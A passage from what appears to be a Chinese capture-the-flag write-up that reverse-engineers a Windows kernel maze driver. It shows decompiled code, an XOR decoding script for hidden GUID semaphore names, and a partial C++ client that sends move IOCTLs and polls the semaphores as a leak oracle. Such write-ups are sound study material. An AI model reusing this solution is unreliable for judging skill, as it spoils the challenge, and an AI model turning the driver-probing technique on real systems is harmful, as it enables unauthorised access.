leaf="">}</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm6x2x" style="font-size: 15px;">接下来寻5个泄漏点，刚才在应用层找到的事件，先看字符串定位过去，找到第一个泄漏点。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm61w2o" style="font-size: 15px;"><span leaf="">① 事件泄露</span></span></h3><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6vh7"><span leaf="">int</span><span leaf=""> __fastcall <span class="code-snippet__title">sub_1400022B0</span><span class="code-snippet__params">(__int64 a1, </span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> a2)</span></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">int</span><span leaf=""> result; <span class="code-snippet__comment">// eax</span></span><span leaf=""><br/></span><span leaf="">const</span><span leaf=""> WCHAR *v4; <span class="code-snippet__comment">// rdx</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">_UNICODE_STRING</span> DestinationString; <span class="code-snippet__comment">// [rsp+20h] [rbp-40h] BYREF</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">_OBJECT_ATTRIBUTES</span> ObjectAttributes; <span class="code-snippet__comment">// [rsp+30h] [rbp-30h] BYREF</span></span><span leaf=""><br/></span><span leaf="">void</span><span leaf=""> *EventHandle; <span class="code-snippet__comment">// [rsp+80h] [rbp+20h] BYREF</span></span><span leaf=""><br/></span><span leaf="">  result = (</span><span leaf="">unsigned</span><span leaf=""> __int8)dword_140005000;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( (((_BYTE)dword_140005000 * ((_BYTE)dword_140005000 - <span class="code-snippet__number">1</span>)) &amp; <span class="code-snippet__number">1</span>) == <span class="code-snippet__number">0</span> )</span><span leaf=""><br/></span><span leaf="">  {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( !a2 || (v4 = <span class="code-snippet__string">L&#34;\\BaseNamedObjects\\MazeMoveWall&#34;</span>, a2 == <span class="code-snippet__number">2</span>) )</span><span leaf=""><br/></span><span leaf="">      v4 = <span class="code-snippet__string">L&#34;\\BaseNamedObjects\\MazeMoveOK&#34;</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">RtlInitUnicodeString</span>(&amp;DestinationString, v4);</span><span leaf=""><br/></span><span leaf="">    ObjectAttributes.Length = <span class="code-snippet__number">48</span>;</span><span leaf=""><br/></span><span leaf="">    ObjectAttributes.ObjectName = &amp;DestinationString;</span><span leaf=""><br/></span><span leaf="">    ObjectAttributes.RootDirectory = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">    ObjectAttributes.Attributes = <span class="code-snippet__number">576</span>;</span><span leaf=""><br/></span><span leaf="">    EventHandle = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">    *(_OWORD *)&amp;ObjectAttributes.SecurityDescriptor = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">    result = <span class="code-snippet__built_in">ZwOpenEvent</span>(&amp;EventHandle, <span class="code-snippet__number">2u</span>, &amp;ObjectAttributes);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> ( result &gt;= <span class="code-snippet__number">0</span> )</span><span leaf=""><br/></span><span leaf="">    {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">ZwSetEvent</span>(EventHandle, <span class="code-snippet__number">0</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">ZwClose</span>(EventHandle);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> result;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><p><span mpa-font-style="moav6cm61df7" style="font-size: 15px;"><span leaf="">该函数根据传入状态参数，选择  **\BaseNamedObjects\MazeMoveOK **或</span><strong><span leaf="">\BaseNamedObjects\MazeMoveWall</span></strong></span></p><p><span mpa-font-style="moav6cm6ii5" style="font-size: 15px;"><span leaf="">随后通过</span><strong><span leaf="">ZwOpenEvent</span></strong><span leaf="">打开对应命名事件，并调用</span><strong><span leaf="">ZwSetEvent</span></strong><span leaf="">将其置位，最后关闭句柄。</span></span></p><p><span mpa-font-style="moav6cm6207i" style="font-size: 15px;"><span leaf="">由于应用层事先创建了同名全局事件</span><strong><span leaf="">Global\MazeMoveOK</span></strong><span leaf="">与</span><strong><span leaf="">Global\MazeMoveWall</span></strong></span></p><p><span leaf="" mpa-font-style="moav6cm612q7" style="font-size: 15px;">因此用户态可在每次发送移动请求后轮询这两个事件，从而判断本次移动是成功推进还是撞墙失败。</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm61rrk" style="font-size: 15px;"><span leaf="">② GUID泄露</span></span></h3><p><span mpa-font-style="moav6cm6w48" style="font-size: 15px;"><span leaf="">然后在导入表发现了函数</span><strong><span leaf="">KeReleaseSemaphore</span></strong><span leaf="">和</span><strong><span leaf="">ObReferenceObjectByName</span></strong><span leaf="">跟到，</span><strong><span leaf="">sub_140319A37</span></strong><span leaf="">，有明显的选择和解密流程。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm620xw"><span leaf=""><span class="code-snippet__keyword">if</span> ( !v5 || (v9 = &amp;unk_1400041E0, v5 == <span class="code-snippet__number">2</span>) )</span><span leaf=""><br/></span><span leaf="">        v9 = &amp;unk_140004160;</span><span leaf=""><br/></span><span leaf="">      v10 = <span class="code-snippet__number">57</span>;</span><span leaf=""><br/></span><span leaf="">      v11 = v9 - (_BYTE *)v18;</span><span leaf=""><br/></span><span leaf="">      v12 = v18;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">do</span></span><span leaf=""><br/></span><span leaf="">      {</span><span leaf=""><br/></span><span leaf="">        *v12 = *(WCHAR *)((</span><span leaf="">char</span><span leaf=""> *)v12 + v11) ^ <span class="code-snippet__number">0x4B</span>; <span class="code-snippet__comment">//解密</span></span><span leaf=""><br/></span><span leaf="">        ++v12;</span><span leaf=""><br/></span><span leaf="">        --v10;</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">while</span> ( v10 );</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">RtlInitUnicodeString</span>((PUNICODE_STRING)v17, v18); <span class="code-snippet__comment">//构建字符串</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">ObReferenceObjectByName</span>(v17, <span class="code-snippet__number">64</span>, <span class="code-snippet__number">0</span>);</span></code></pre></p><p><span mpa-font-style="moav6cm6gg3" style="font-size: 15px;"><span leaf="">就要看看</span><strong><span leaf="">unk_1400041E0</span></strong><span leaf="">和</span><strong><span leaf="">unk_140004160</span></strong><span leaf="">对应的到底是什么字符串了。</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm61fmf"><span leaf="">def <span class="code-snippet__built_in">decode_guid_name</span>(words):</span><span leaf=""><br/></span><span leaf="">    return <span class="code-snippet__string">&#39;&#39;</span>.<span class="code-snippet__built_in">join</span>(<span class="code-snippet__built_in">chr</span>(w ^ <span class="code-snippet__number">0</span>x4B) for w in words)</span><span leaf=""><br/></span><span leaf="">unk_140004160 = [<span class="code-snippet__number">0</span>x0017, <span class="code-snippet__number">0</span>x0009, <span class="code-snippet__number">0</span>x002A, <span class="code-snippet__number">0</span>x0038, <span class="code-snippet__number">0</span>x002E, <span class="code-snippet__number">0</span>x0005, <span class="code-snippet__number">0</span>x002A, <span class="code-snippet__number">0</span>x0026, <span class="code-snippet__number">0</span>x002E, <span class="code-snippet__number">0</span>x002F, <span class="code-snippet__number">0</span>x0004, <span class="code-snippet__number">0</span>x0029, <span class="code-snippet__number">0</span>x0021, <span class="code-snippet__number">0</span>x002E, <span class="code-snippet__number">0</span>x0028, <span class="code-snippet__number">0</span>x003F, <span class="code-snippet__number">0</span>x0038, <span class="code-snippet__number">0</span>x0017, <span class="code-snippet__number">0</span>x0030, <span class="code-snippet__number">0</span>x000A, <span class="code-snippet__number">0</span>x007C, <span class="code-snippet__number">0</span>x000D, <span class="code-snippet__number">0</span>x0078, <span class="code-snippet__number">0</span>x0009, <span class="code-snippet__number">0</span>x0079, <span class="code-snippet__number">0</span>x0008, <span class="code-snippet__number">0</span>x007A, <span class="code-snippet__number">0</span>x0066, <span class="code-snippet__number">0</span>x0072, <span class="code-snippet__number">0</span>x000E, <span class="code-snippet__number">0</span>x007F, <span class="code-snippet__number">0</span>x000F, <span class="code-snippet__number">0</span>x0066, <span class="code-snippet__number">0</span>x007F, <span class="code-snippet__number">0</span>x0008, <span class="code-snippet__number">0</span>x0073, <span class="code-snippet__number">0</span>x000A, <span class="code-snippet__number">0</span>x0066, <span class="code-snippet__number">0</span>x0009, <span class="code-snippet__number">0</span>x007E, <span class="code-snippet__number">0</span>x000F, <span class="code-snippet__number">0</span>x007D, <span class="code-snippet__number">0</span>x0066, <span class="code-snippet__number">0</span>x007A, <span class="code-snippet__number">0</span>x000D, <span class="code-snippet__number">0</span>x0079, <span class="code-snippet__number">0</span>x000E, <span class="code-snippet__number">0</span>x0078, <span class="code-snippet__number">0</span>x000A, <span class="code-snippet__number">0</span>x007F, <span class="code-snippet__number">0</span>x0009, <span class="code-snippet__number">0</span>x007E, <span class="code-snippet__number">0</span>x0008, <span class="code-snippet__number">0</span>x007D, <span class="code-snippet__number">0</span>x000F, <span class="code-snippet__number">0</span>x0036, <span class="code-snippet__number">0</span>x004B, <span class="code-snippet__number">0</span>x0000, <span class="code-snippet__number">0</span>x0000, <span class="code-snippet__number">0</span>x0000, <span class="code-snippet__number">0</span>x0000, <span class="code-snippet__number">0</span>x0000, <span class="code-snippet__number">0</span>x0000, <span class="code-snippet__number">0</span>x0000]</span><span leaf=""><br/></span><span leaf="">unk_1400041E0 = [<span class="code-snippet__number">0</span>x0017, <span class="code-snippet__number">0</span>x0009, <span class="code-snippet__number">0</span>x002A, <span class="code-snippet__number">0</span>x0038, <span class="code-snippet__number">0</span>x002E, <span class="code-snippet__number">0</span>x0005, <span class="code-snippet__number">0</span>x002A, <span class="code-snippet__number">0</span>x0026, <span class="code-snippet__number">0</span>x002E, <span class="code-snippet__number">0</span>x002F, <span class="code-snippet__number">0</span>x0004, <span class="code-snippet__number">0</span>x0029, <span class="code-snippet__number">0</span>x0021, <span class="code-snippet__number">0</span>x002E, <span class="code-snippet__number">0</span>x0028, <span class="code-snippet__number">0</span>x003F, <span class="code-snippet__number">0</span>x0038, <span class="code-snippet__number">0</span>x0017, <span class="code-snippet__number">0</span>x0030, <span class="code-snippet__number">0</span>x0009, <span class="code-snippet__number">0</span>x0073, <span class="code-snippet__number">0</span>x000E, <span class="code-snippet__number">0</span>x0079, <span class="code-snippet__number">0</span>x0008, <span class="code-snippet__number">0</span>x0078, <span class="code-snippet__number">0</span>x000F, <span class="code-snippet__number">0</span>x007B, <span class="code-snippet__number">0</span>x0066, <span class="code-snippet__number">0</span>x007B, <span class="code-snippet__number">0</span>x000D, <span class="code-snippet__number">0</span>x007E, <span class="code-snippet__number">0</span>x000A, <span class="code-snippet__number">0</span>x0066, <span class="code-snippet__number">0</span>x007E, <span class="code-snippet__number">0</span>x000F, <span class="code-snippet__number">0</span>x0072, <span class="code-snippet__number">0</span>x0009, <span class="code-snippet__number">0</span>x0066, <span class="code-snippet__number">0</span>x0008, <span class="code-snippet__number">0</span>x007D, <span class="code-snippet__number">0</span>x000E, <span class="code-snippet__number">0</span>x007C, <span class="code-snippet__number">0</span>x0066, <span class="code-snippet__number">0</span>x0079, <span class="code-snippet__number">0</span>x000A, <span class="code-snippet__number">0</span>x0078, <span class="code-snippet__number">0</span>x000D, <span class="code-snippet__number">0</span>x007F, <span class="code-snippet__number">0</span>x0009, <span class="code-snippet__number">0</span>x007E, <span class="code-snippet__number">0</span>x0008, <span class="code-snippet__number">0</span>x007D, <span class="code-snippet__number">0</span>x000F, <span class="code-snippet__number">0</span>x007C, <span class="code-snippet__number">0</span>x000E, <span class="code-snippet__number">0</span>x0036, <span class="code-snippet__number">0</span>x004B, <span class="code-snippet__number">0</span>x0000, <span class="code-snippet__number">0</span>x0000, <span class="code-snippet__number">0</span>x0000, <span class="code-snippet__number">0</span>x000E, <span class="code-snippet__number">0</span>x0033, <span class="code-snippet__number">0</span>x0018, <span class="code-snippet__number">0</span>x002E]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__built_in">decode_guid_name</span>(unk_140004160))</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__built_in">decode_guid_name</span>(unk_1400041E0))</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm65c3" style="font-size: 15px;">得到输出，也就找到了第二个泄漏点：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm6pbv"><span leaf="">\BaseNamedObjects\{A7F3B2C1<span class="code-snippet__number">-9E4</span>D<span class="code-snippet__number">-4</span>C8A-B5D6<span class="code-snippet__number">-1F</span>2E3A4B5C6D}KKKKKKK</span><span leaf=""><br/></span><span leaf="">\BaseNamedObjects\{B8E2C3D0<span class="code-snippet__number">-0F</span>5A<span class="code-snippet__number">-5</span>D9B-C6E7<span class="code-snippet__number">-2</span>A3F4B5C6D7E}KKKExSe</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment">//手动去尾巴ing</span></span><span leaf=""><br/></span><span leaf="">\BaseNamedObjects\{A7F3B2C1<span class="code-snippet__number">-9E4</span>D<span class="code-snippet__number">-4</span>C8A-B5D6<span class="code-snippet__number">-1F</span>2E3A4B5C6D}</span><span leaf=""><br/></span><span leaf="">\BaseNamedObjects\{B8E2C3D0<span class="code-snippet__number">-0F</span>5A<span class="code-snippet__number">-5</span>D9B-C6E7<span class="code-snippet__number">-2</span>A3F4B5C6D7E}</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm6ar1" style="font-size: 15px;">但是暂时不能确定哪个是撞墙，哪个是成功，要具体测试一下。</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm69t9"><span leaf="">#<span class="code-snippet__keyword">include</span> <span class="code-snippet__string">&lt;windows.h&gt;</span></span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">include</span> <span class="code-snippet__string">&lt;iostream&gt;</span></span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">include</span> <span class="code-snippet__string">&lt;string&gt;</span></span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">include</span> <span class="code-snippet__string">&lt;vector&gt;</span></span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">include</span> <span class="code-snippet__string">&lt;cstdint&gt;</span></span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">const</span><span leaf="">wchar_t</span><span leaf="">* DEVICE_NAME = <span class="code-snippet__string">L&#34;\\\\.\\ShadowGate&#34;</span>;</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">const</span><span leaf="">wchar_t</span><span leaf="">* GUID1_NAME = <span class="code-snippet__string">L&#34;Global\\{A7F3B2C1-9E4D-4C8A-B5D6-1F2E3A4B5C6D}&#34;</span>;</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">const</span><span leaf="">wchar_t</span><span leaf="">* GUID2_NAME = <span class="code-snippet__string">L&#34;Global\\{B8E2C3D0-0F5A-5D9B-C6E7-2A3F4B5C6D7E}&#34;</span>;</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">const</span><span leaf=""> DWORD IOCTL_MOVE = <span class="code-snippet__number">0x80012004</span>;</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">const</span><span leaf=""> DWORD IOCTL_RESET = <span class="code-snippet__number">0x80012008</span>;</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">const</span><span leaf=""> DWORD IOCTL_QUERY = <span class="code-snippet__number">0x8001200C</span>;</span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">pragma</span> pack(push, 1)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">MOVE_REQ</span> {</span><span leaf=""><br/></span><span leaf="">uint8_t</span><span leaf="">  encoded_dir;</span><span leaf=""><br/></span><span leaf="">uint8_t</span><span leaf="">  pad[<span class="code-snippet__number">3</span>];</span><span leaf=""><br/></span><span leaf="">uint32_t</span><span leaf=""> op_count;</span><span leaf=""><br/></span><span leaf="">uint32_t</span><span leaf=""> checksum;</span><span leaf=""><br/></span><span leaf="">};</span><span leaf=""><br/></span><span leaf="">#<span class="code-snippet__keyword">pragma</span> pack(pop)</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">uint8_t</span><span leaf=""><span class="code-snippet__title">ror8</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">uint8_t</span></span><span leaf=""><span class="code-snippet__params"> x, </span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> n)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">static_cast</span>&lt;</span><span leaf="">uint8_t</span><span leaf="">&gt;((x &gt;&gt; n) | (x &lt;&lt; (<span class="code-snippet__number">8</span> - n)));</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">uint8_t</span><span leaf=""><span class="code-snippet__title">encode_dir</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">uint8_t</span></span><span leaf=""><span class="code-snippet__params"> move_code)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">ror8</span>(<span class="code-snippet__built_in">static_cast</span>&lt;</span><span leaf="">uint8_t</span><span leaf="">&gt;(move_code ^ <span class="code-snippet__number">0x5A</span>), <span class="code-snippet__number">5</span>);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">uint8_t</span><span leaf=""><span class="code-snippet__title">move_code_from_char</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">char</span></span><span leaf=""><span class="code-snippet__params"> ch)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">switch</span> (ch) {</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;W&#39;</span>: <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;w&#39;</span>: <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0x10</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;S&#39;</span>: <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;s&#39;</span>: <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0x20</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;A&#39;</span>: <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;a&#39;</span>: <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0x30</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;D&#39;</span>: <span class="code-snippet__keyword">case</span> <span class="code-snippet__string">&#39;d&#39;</span>: <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0x40</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">default</span>: <span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">void</span><span leaf=""><span class="code-snippet__title">drain_semaphore</span><span class="code-snippet__params">(HANDLE hSem)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">while</span> (<span class="code-snippet__built_in">WaitForSingleObject</span>(hSem, <span class="code-snippet__number">0</span>) == WAIT_OBJECT_0) {</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">bool</span><span leaf=""><span class="code-snippet__title">poll_semaphore</span><span class="code-snippet__params">(HANDLE hSem)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    DWORD rc = <span class="code-snippet__built_in">WaitForSingleObject</span>(hSem, <span class="code-snippet__number">0</span>);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> rc == WAIT_OBJECT_0;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">bool</span><span leaf=""><span class="code-snippet__title">reset_maze</span><span class="code-snippet__params">(HANDLE hDev)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    DWORD bytesReturned = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">DeviceIoControl</span>(</span><span leaf=""><br/></span><span leaf="">        hDev,</span><span leaf=""><br/></span><span leaf="">        IOCTL_RESET,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__literal">nullptr</span>, <span class="code-snippet__number">0</span>,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__literal">nullptr</span>, <span class="code-snippet__number">0</span>,</span><span leaf=""><br/></span><span leaf="">        &amp;bytesReturned,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__literal">nullptr</span></span><span leaf=""><br/></span><span leaf="">    ) != FALSE;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">static</span><span leaf="">bool</span><span leaf=""><span class="code-snippet__title">move_once</span><span class="code-snippet__params">(HANDLE hDev, </span></span><span leaf=""><span class="code-snippet__params">char</span></span><span leaf=""><span class="code-snippet__params"> ch, </span></span><span leaf=""><span class="code-snippet__params">uint32_t</span></span><span leaf=""><span class="code-snippet__params"> opCount)</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">uint8_t</span><span leaf=""> mc = <span class="code-snippet__built_in">move_code_from_char</span>(ch);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (!mc) {</span><span leaf=""><br/></span><span leaf="">        std::cerr &lt;&lt; <span class="code-snippet__string">&#34;invalid move char: &#34;</span> &lt;&lt; ch &lt;&lt; <span class="code-snippet__string">&#34;\n&#34;</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__literal">false</span>;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    MOVE_REQ req{};</span><span leaf=""><br/></span><span leaf="">    req.encoded_dir = <span class="code-snippet__built_in">encode_dir</span>(mc);</span><span leaf=""><br/></span><span leaf="">    req.op_count = opCount;</span><span leaf=""><br/></span><span leaf="">    req.checksum = req.encoded_dir ^ opCount ^ <span class="code-snippet__number">0xDEAD1337</span>u;</span><span leaf=""><br/></span><span leaf="">uint8_t</span><span leaf=""> outbuf[<span class="code-snippet__number">0x84</span>] = {};</span><span leaf=""><br/></span><span leaf="">    DWORD bytesReturned = <span class="code-snippet__number">0</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__built_in">DeviceIoControl</span>(</span><span leaf=""><br/></span><span leaf="">        hDev,</span><span leaf=""><br/></span><span leaf="">        IOCTL_MOVE,</span><span leaf=""><br/></span><span leaf="">        &amp;req,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">sizeof</span>(req),</span><span leaf=""><br/></span><span leaf="">        outbuf,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">sizeof</span>(outbuf),</span><span leaf=""><br/></span><span leaf="">        &amp;bytesReturned,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__literal">nullptr</span></span><span leaf=""><br/></span><span leaf="">    ) != FALSE;</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">int</span><span leaf=""><span class="code-snippet__title">wmain</span><span class="code-snippet__params">(</span></span><span leaf=""><span class="code-snippet__params">int</span></span><span leaf=""><span class="code-snippet__params"> argc, </span></span><span leaf=""><span class="code-snippet__params">wchar_t</span></span><span leaf=""><span class="code-snippet__params">* argv[])</span> </span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">    std::string path = <span class="code-snippet__string">&#34;DDDDD&#34;</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (argc &gt;= <span class="code-snippet__number">2</span>) {</span><span leaf=""><br/></span><span leaf="">        std::wstring ws = argv[<span class="code-snippet__number">1</span>];</span><span leaf=""><br/></span><span leaf="">        path.<span class="code-snippet__built_in">assign</span>(ws.<span class="code-snippet__built_in">begin</span>(), ws.<span class="code-snippet__built_in">end</span>());</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    HANDLE hDev = <span class="code-snippet__built_in">CreateFileW</span>(</span><span leaf=""><br/></span><span leaf="">        DEVICE_NAME,</span><span leaf=""><br/></span><span leaf="">        GENERIC_READ | GENERIC_WRITE,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__number">0</span>,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__literal">nullptr</span>,</span><span leaf=""><br/></span><span leaf="">        OPEN_EXISTING,</span><span leaf=""><br/></span><span leaf="">        FILE_ATTRIBUTE_NORMAL,</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__literal">nullptr</span></span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (hDev == INVALID_HANDLE_VALUE) {</span><span leaf=""><br/></span><span leaf="">        std::cerr &lt;&lt; <span class="code-snippet__string">&#34;CreateFileW failed, gle=0x&#34;</span> &lt;&lt; std::hex &lt;&lt; <span class="code-snippet__built_in">GetLastError</span>() &lt;&lt; <span class="code-snippet__string">&#34;\n&#34;</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">1</span>;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    HANDLE hGuid1 = <span class="code-snippet__built_in">CreateSemaphoreW</span>(<span class="code-snippet__literal">nullptr</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0x7fffffff</span>, GUID1_NAME);</span><span leaf=""><br/></span><span leaf="">    HANDLE hGuid2 = <span class="code-snippet__built_in">CreateSemaphoreW</span>(<span class="code-snippet__literal">nullptr</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0x7fffffff</span>, GUID2_NAME);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (!hGuid1 || !hGuid2) {</span><span leaf=""><br/></span><span leaf="">        std::cerr &lt;&lt; <span class="code-snippet__string">&#34;CreateSemaphoreW failed, gle=0x&#34;</span> &lt;&lt; std::hex &lt;&lt; <span class="code-snippet__built_in">GetLastError</span>() &lt;&lt;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">&#34;\n&#34;</span>;</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">CloseHandle</span>(hDev);</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">1</span>;</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> (!<span class="code-snippet__built_in">reset_maze</span>(hDev)) {</span><span leaf=""><br/></span><span leaf="">        std::cerr &lt;&lt; <span class="code-snippet__string">&#34;reset failed, gle=0x&#34;</span> &lt;&lt; std::hex &lt;&lt; <span class="code-snippet__built_in">GetLastError</span>() &lt;&lt; <span 